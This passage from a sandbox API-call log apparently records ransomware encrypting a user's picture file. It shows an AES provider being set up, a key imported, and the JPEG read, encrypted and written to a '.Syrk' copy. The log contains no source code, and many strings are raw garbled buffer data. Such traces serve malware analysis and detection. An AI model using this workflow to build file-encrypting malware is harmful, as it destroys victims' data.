(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0245.788] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0245.788] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.788] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0245.788] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.789] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0245.789] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0245.789] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.789] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0245.789] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.789] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0245.789] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0245.789] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0245.790] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0245.790] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.790] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0245.790] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.790] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0245.790] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0245.790] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.790] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0245.790] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.791] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0245.791] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0245.791] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.791] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0245.791] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.791] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0245.791] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0245.791] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.791] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0245.791] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.791] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0245.791] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0245.792] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.792] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0245.792] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.792] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0245.792] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0245.792] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.792] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0245.792] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.792] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0245.792] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0245.792] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.793] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0245.793] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.793] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0245.793] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0245.793] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.793] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0245.793] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.793] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0245.793] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0245.794] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0245.794] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0245.794] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0245.794] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0245.794] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0245.794] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0245.794] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0245.794] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0245.794] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0245.794] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0245.795] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0245.795] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0245.795] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0245.795] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0245.795] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0245.795] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0245.795] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0245.795] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0245.795] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0245.795] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0245.795] EtwEventActivityIdControl () returned 0x0 [0245.796] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0245.796] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0245.796] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0245.796] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0245.797] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cff0) returned 1 [0245.799] CryptImportKey (in: hProv=0x5c4cff0, pbData=0x2514de0*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99960) returned 1 [0245.799] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.800] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.800] EtwEventActivityIdControl () returned 0x0 [0245.800] EtwEventActivityIdControl () returned 0x0 [0245.800] EtwEventActivityIdControl () returned 0x0 [0245.806] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\1tp--jqrn7ickv.jpg")) returned 0x20 [0245.807] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\1tp--jqrn7ickv.jpg")) returned 0x20 [0245.807] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0245.807] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", lpFilePart=0x0) returned 0x2e [0245.808] EtwEventActivityIdControl () returned 0x0 [0245.808] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.808] EtwEventActivityIdControl () returned 0x0 [0245.808] EtwEventActivityIdControl () returned 0x0 [0245.808] EtwEventActivityIdControl () returned 0x0 [0245.809] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0245.809] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", lpFilePart=0x0) returned 0x2e [0245.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0245.810] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\1tp--jqrn7ickv.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0245.810] GetFileType (hFile=0x3c4) returned 0x1 [0245.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0245.810] GetFileType (hFile=0x3c4) returned 0x1 [0245.810] EtwEventActivityIdControl () returned 0x0 [0245.810] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.811] EtwEventActivityIdControl () returned 0x0 [0245.811] EtwEventActivityIdControl () returned 0x0 [0245.811] EtwEventActivityIdControl () returned 0x0 [0245.812] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0245.812] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg.Syrk", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg.Syrk", lpFilePart=0x0) returned 0x33 [0245.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0245.812] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\1tp--jqrn7ickv.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0245.813] GetFileType (hFile=0x454) returned 0x1 [0245.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0245.813] GetFileType (hFile=0x454) returned 0x1 [0245.813] EtwEventActivityIdControl () returned 0x0 [0245.813] CryptGenRandom (in: hProv=0x5c4cff0, dwLen=0x10, pbBuffer=0x2525240 | out: pbBuffer=0x2525240) returned 1 [0245.814] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.814] CryptDuplicateKey (in: hKey=0x5c99960, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c999e0) returned 1 [0245.814] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.815] CryptSetKeyParam (hKey=0x5c999e0, dwParam=0x4, pbData=0x2526578*=0x1, dwFlags=0x0) returned 1 [0245.815] CryptSetKeyParam (hKey=0x5c999e0, dwParam=0x1, pbData=0x2526544, dwFlags=0x0) returned 1 [0245.815] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.815] EtwEventActivityIdControl () returned 0x0 [0245.815] EtwEventActivityIdControl () returned 0x0 [0245.815] EtwEventActivityIdControl () returned 0x0 [0245.818] EtwEventActivityIdControl () returned 0x0 [0245.819] ReadFile (in: hFile=0x3c4, lpBuffer=0x25291b4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x25291b4*, lpNumberOfBytesRead=0x5a2e7d8*=0xad1b, lpOverlapped=0x0) returned 1 [0245.820] CryptEncrypt (in: hKey=0x5c999e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x253d1cc*, pdwDataLen=0x5a2e7cc*=0xad10, dwBufLen=0xad10 | out: pbData=0x253d1cc*, pdwDataLen=0x5a2e7cc*=0xad10) returned 1 [0245.821] WriteFile (in: hFile=0x454, lpBuffer=0x2525328*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2525328*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0245.822] WriteFile (in: hFile=0x454, lpBuffer=0x253e1b8*, nNumberOfBytesToWrite=0x9d24, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x253e1b8*, lpNumberOfBytesWritten=0x5a2e7b0*=0x9d24, lpOverlapped=0x0) returned 1 [0245.823] ReadFile (in: hFile=0x3c4, lpBuffer=0x25291b4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x25291b4*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0245.823] CryptEncrypt (in: hKey=0x5c999e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2547ee8*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2547ee8*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0245.824] CryptEncrypt (in: hKey=0x5c999e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2547f04*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2547f04*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0245.824] WriteFile (in: hFile=0x454, lpBuffer=0x2525328*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2525328*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0245.824] CloseHandle (hObject=0x454) returned 1 [0245.825] CloseHandle (hObject=0x3c4) returned 1 [0245.826] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.826] EtwEventActivityIdControl () returned 0x0 [0245.826] EtwEventActivityIdControl () returned 0x0 [0245.826] EtwEventActivityIdControl () returned 0x0 [0245.832] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\1tp--jqrn7ickv.jpg")) returned 0x20 [0245.834] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0245.834] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", lpFilePart=0x0) returned 0x2e [0245.834] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0245.834] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0245.835] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0245.835] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0245.835] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0245.835] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0245.835] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0245.835] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0245.835] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0245.835] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0245.835] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0245.835] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0245.835] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0245.835] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0245.836] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0245.836] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0245.836] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\1tp--jqrn7ickv.jpg")) returned 0x20 [0245.836] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0245.836] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", lpFilePart=0x0) returned 0x2e [0245.838] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0245.839] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", lpFilePart=0x0) returned 0x2e [0245.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0245.839] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0245.839] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", lpFilePart=0x0) returned 0x2e [0245.839] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg\\*" 